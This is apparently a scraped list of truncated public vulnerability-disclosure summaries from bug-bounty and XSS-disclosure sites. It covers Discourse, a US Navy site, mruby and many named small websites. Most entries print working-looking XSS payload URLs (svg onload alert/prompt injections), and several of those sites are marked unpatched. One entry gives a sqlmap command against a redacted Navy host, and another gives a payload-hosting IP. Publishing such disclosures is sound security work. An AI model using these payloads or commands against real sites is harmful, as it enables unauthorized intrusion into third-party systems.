Discourse: Stored XSS in posts because of absence of oembed variables values escaping

Hello! Steps to reproduce: 1. Paste this payload URL in the post: http://89.223.28.48/oembedvideo.html?uncache 2. Save the post and you will see the XSS will fire. F151922 The vulnerability exists because of absence of oembed variables values escaping. There is the oembed link in the payload page...

Yelp: Nginx version disclosure via forbidden page

This information might help an attacker gain a greater understanding of the systems in use and potentially develop further attacks targeted at the specific version of Nginx. Impact: An attacker might use the disclosed information to harvest specific security vulnerabilities for the version...

classifieds.mercedsunstar.com XSS vulnerability

Vulnerable URL: http://classifieds.mercedsunstar.com/ca/all-categories/search?searchtype=advancedsearchkeyword=OPENBUGBOUNTY'" Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

footballticketnet.com XSS vulnerability

Vulnerable URL: http://www.footballticketnet.com/liverpool/"--!"' Details: Description| Value ---|--- Patched:| Yes, at 25.11.2017 Latest check for patch:| 25.11.2017 10:05 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 173222 VIP website status:| No Coordinate...

royaldragonvodka.com XSS vulnerability

Vulnerable URL: http://www.royaldragonvodka.com/en/addtocart.php?id=4"...

beniculturali.it XSS vulnerability

Vulnerable URL: http://www.beniculturali.it/mibac/opencms/MiBAC/sito-MiBAC/MenuPrincipale/LuoghiDellaCultura/Ricerca/index.html Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 19301...

whitehorsemotorcompany.co.uk XSS vulnerability

Vulnerable URL: http://www.whitehorsemotorcompany.co.uk/email.php?subject=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:58 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

U.S. Dept Of Defense: SQL injection found in US Navy Website (http://███/)

Summary: SQL injection found in US Navy Website http://█████/ Description: SQL injection found in US Navy website, parameters are: /display.asp?storyid=98373 /listStories.asp?x=4 /viewVideo.asp?t=6 SQLmap commands: sqlmap.py -u http://█████/submit/display.asp?storyid=98373 --random-agent...

brrsd.org XSS vulnerability

Vulnerable URL: http://www.brrsd.org/apps/pages/index.jsp?dir=--%3E%22%3E%3C/a%3E%3C/script%3E%3C/title%3E%3Csvg/onload=alert/XSSPOSED/%3E=dID=278090 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

shopify-scripts: Null pointer dereference in mrb_str_modify

The function mrbstrmodify doesn't check if s-as.heap.ptr is NULL before operating in it. Attempt to write to a NULL pointer happens here: 676 RSTRPTRss-as.heap.len = '\0'; Poc: ruby a = String.new a0 GC.start a.upcase! Version tested:...

petsstop.com XSS vulnerability

Vulnerable URL: http://www.petsstop.com/search.php?txt='"--!...

riscaserv.dzbank.de XSS vulnerability

Vulnerable URL: http://riscaserv.dzbank.de/mailform.php?Name=%22%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VI...

halfyearreport.dzbank.com XSS vulnerability

Vulnerable URL: http://www.halfyearreport.dzbank.com/suche Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017 Latest check for patch:| 28.07.2017 13:58 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No...

Starbucks: Starbucks.com is reachable via ip address thus possible to link any doamin to Starbucks.

It is possible for anybody to buy a domain name containing negative terms and point it to someone's website in order to damage their reputation. For instance someone could buy the domain child-pornography.com and point it to the address 107.162.135.91 which is the address behind starbucks.com To...

loopsuae.com XSS vulnerability

Vulnerable URL: http://loopsuae.com/searchresults.php?action=dosearch='"--!...

muscularstrength.com XSS vulnerability

Vulnerable URL: http://muscularstrength.com/searchresult.php?sch= L O L O L O L O L O xany says /XSS/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 131702 VIP website status:| No...

whatiscalled.com XSS vulnerability

Vulnerable URL: http://www.whatiscalled.com/search/keyword=%22%3E%3Csvg/onload=prompt/xssposed/%3E/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 177727 VIP website status:| No...

classifieds.greatfallstribune.com XSS vulnerability

Vulnerable URL: http://classifieds.greatfallstribune.com/category.php?ft=OPENBUGBOUNTY%22%3E%3Csvg%20onload=prompt%22OPENBUGBOUNTY%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa...

sirradeals.com XSS vulnerability

Vulnerable URL: https://www.sirradeals.com/search.php?data=%22%3E%3Csvg%2Fonload%3Dalert%28%2FXSSPOSED%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 11991389 VIP website...

ruralswitchboard.ca XSS vulnerability

Vulnerable URL: http://www.ruralswitchboard.ca/sendEmail.php?Send=%B4u%AC%C9B%22g%F5+%3A%E7F%A5%C4s%AB%83-%8F%3E%3F%F7%E1.=%22%3E%3Csvg/onload=alert/XSSPOSED/%3E=5 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:|...